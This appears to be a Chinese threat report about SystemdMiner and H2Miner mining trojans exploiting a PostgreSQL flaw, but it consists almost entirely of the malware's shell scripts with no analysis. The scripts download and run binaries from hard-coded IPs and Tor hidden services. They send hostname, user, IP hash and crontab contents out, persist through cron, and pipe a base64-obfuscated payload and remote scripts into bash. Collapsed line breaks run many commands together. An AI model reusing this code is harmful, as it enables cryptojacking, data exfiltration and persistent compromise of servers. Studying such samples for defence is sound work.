SystemdMiner、H2Miner挖矿木马利用相同的PostgreSQL漏洞攻击云服务器

XRANDOMexec &>/dev/nullexport PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
function __curl() {  read proto server path <<<$(echo ${1//// })  DOC=/${path// //}  HOST=${server//:*}  PORT=${server//*:}  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80
  exec 3<>/dev/tcp/${HOST}/$PORT  echo -en "GET ${DOC} HTTP/1.0rnHost: ${HOST}rnrn" >&3  (while read line; do   [[ "$line" == $'r' ]] && break  done && cat) <&3  exec 3>&-}
curl -V || __curl http://94.237.85.89:8080/curl > /usr/local/bin/curl;chmod +x /usr/local/bin/curlcurl -V || __curl http://94.237.85.89:8080/curl > $HOME/curl;chmod +x $HOME/curlcurl -V || __curl http://120.27.26.189:81/curl > /usr/local/bin/curl;chmod +x /usr/local/bin/curlcurl -V || __curl http://120.27.26.189:81/curl > $HOME/curl;chmod +x $HOME/curl
d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)c=$(echo "curl -4fsSLkA- -m200")t=$(echo "nssnkct6udyyx6zlv4l6jhqr5jdf643shyerk246fs27ksrdehl2z3qd")
sockz() {n=(doh.defaultroutes.de dns.hostux.net dns.dns-over-https.com uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com fi.doh.dns.snopyta.org dns.flatuslifir.is doh.li dns.digitale-gesellschaft.ch)p=$(echo "dns-query?name=relay.tor2socks.in")s=$($c https://${n[$((RANDOM))]}/$p | grep -oE "b([0-9]{1,3}.){3}[0-9]{1,3}b" |tr ' ' 'n'|sort -uR|head -1)}
fexe() {for i in . $HOME /usr/bin $d /tmp /var/tmp ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done}
u() {sockzf=/pg.$(uname -m)x=./$(date|md5sum|cut -f1 -d-)r=$(curl -4fsSLk checkip.amazonaws.com||curl -4fsSLk ip.sb)_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})_$(crontab -l|base64 -w0)$c -x socks5h://$s:9050 $t.onion$f -o$x -e$r || $c $1$f -o$x -e$rchmod +x $x;$x;rm -f $x}
for h in tor2web.in tor2web.it onion.foundation tor2web.su onion.com.dedoif ! ls /proc/$(head -1 /tmp/.X11-unix/01)/status; thenfexe;u $t.$hls /proc/$(head -1 /tmp/.X11-unix/01)/status || (cd /tmp;u $t.$h)ls /proc/$(head -1 /tmp/.X11-unix/01)/status || (cd /dev/shm;u $t.$h)breakfidone

8 * * * * /var/lib/pgsql/.systemd-service.sh > /dev/null 2>&1 &

#!/bin/bashexec &>/dev/nullecho scO0uBW7WOQTz6MzC9/copUMIA6PvIC4GWMxgHyxU/7gorNqA1JFpzVYle7Lis/9echo c2NPMHVCVzdXT1FUejZNekM5L2NvcFVNSUE2UHZJQzRHV014Z0h5eFUvN2dvck5xQTFKRnB6VllsZTdMaXMvOQpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICJvams1enJhN2IzeXEzMnRpbWIyN240cWo1dWRrNHcybDVrcW41dWxobnVnZHNjZWx0dGZodG95ZCIpCgpzb2NreigpIHsKbj0oZG9oLmRlZmF1bHRyb3V0ZXMuZGUgZG5zLmhvc3R1eC5uZXQgZG5zLmRucy1vdmVyLWh0dHBzLmNvbSB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2guY2VudHJhbGV1LnBpLWRucy5jb20gZG9oLmRucy5zYiBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyBkbnMuZmxhdHVzbGlmaXIuaXMgZG9oLmxpIGRucy5kaWdpdGFsZS1nZXNlbGxzY2hhZnQuY2gpCnA9JChlY2hvICJkbnMtcXVlcnk/bmFtZT1yZWxheS50b3Iyc29ja3MuaW4iKQpzPSQoJGMgaHR0cHM6Ly8ke25bJCgoUkFORE9NJTEzKSldfS8kcCB8IGdyZXAgLW9FICJcYihbMC05XXsxLDN9XC4pezN9WzAtOV17MSwzfVxiIiB8dHIgJyAnICdcbid8Z3JlcCAtRXYgWy5dMHxzb3J0IC11UnxoZWFkIC0xKQp9CgpmZXhlKCkgewpmb3IgaSBpbiAuICRIT01FIC91c3IvYmluICRkIC92YXIvdG1wIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmPS9pbnQuJCh1bmFtZSAtbSkKeD0uLyQoZGF0ZXxtZDVzdW18Y3V0IC1mMSAtZC0pCnI9JChjdXJsIC00ZnNTTGsgY2hlY2tpcC5hbWF6b25hd3MuY29tfHxjdXJsIC00ZnNTTGsgaXAuc2IpXyQod2hvYW1pKV8kKHVuYW1lIC1tKV8kKHVuYW1lIC1uKV8kKGlwIGF8Z3JlcCAnaW5ldCAnfGF3ayB7J3ByaW50ICQyJ318bWQ1c3VtfGF3ayB7J3ByaW50ICQxJ30pXyQoY3JvbnRhYiAtbHxiYXNlNjQgLXcwKQokYyAteCBzb2NrczVoOi8vJHM6OTA1MCAkdC5vbmlvbiRmIC1vJHggLWUkciB8fCAkYyAkMSRmIC1vJHggLWUkcgpjaG1vZCAreCAkeDskeDtybSAtZiAkeAp9Cgpmb3IgaCBpbiB0b3Iyd2ViLmluIHRvcjJ3ZWIuaXQgb25pb24uZm91bmRhdGlvbiBvbmlvbi5jb20uZGUgb25pb24uc2ggdG9yMndlYi5zdSB0b3Iyd2ViLmlvCmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC0xIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXM7IHRoZW4KZmV4ZTt1ICR0LiRoCmxzIC9wcm9jLyQoaGVhZCAtMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvdG1wO3UgJHQuJGgpCmxzIC9wcm9jLyQoaGVhZCAtMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvZGV2L3NobTt1ICR0LiRoKQplbHNlCmJyZWFrCmZpCmRvbmUK|base64 -d|bash

#!/bin/bashfunction __curl() {  read proto server path <<<$(echo ${1//// })  DOC=/${path// //}  HOST=${server//:*}  PORT=${server//*:}  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80
  exec 3<>/dev/tcp/${HOST}/$PORT  echo -en "GET ${DOC} HTTP/1.0rnHost: ${HOST}rnrn" >&3  (while read line; do   [[ "$line" == $'r' ]] && break  done && cat) <&3  exec 3>&-}
if [ -x "$(command -v curl)" ]; then  curl 188.119.112.132/pg.sh|bashelif [ -x "$(command -v wget)" ]; then  wget -q -O- 188.119.112.132/pg.sh|bashelse  __curl http[:]//188.119.112.132/pg2.sh|bashfi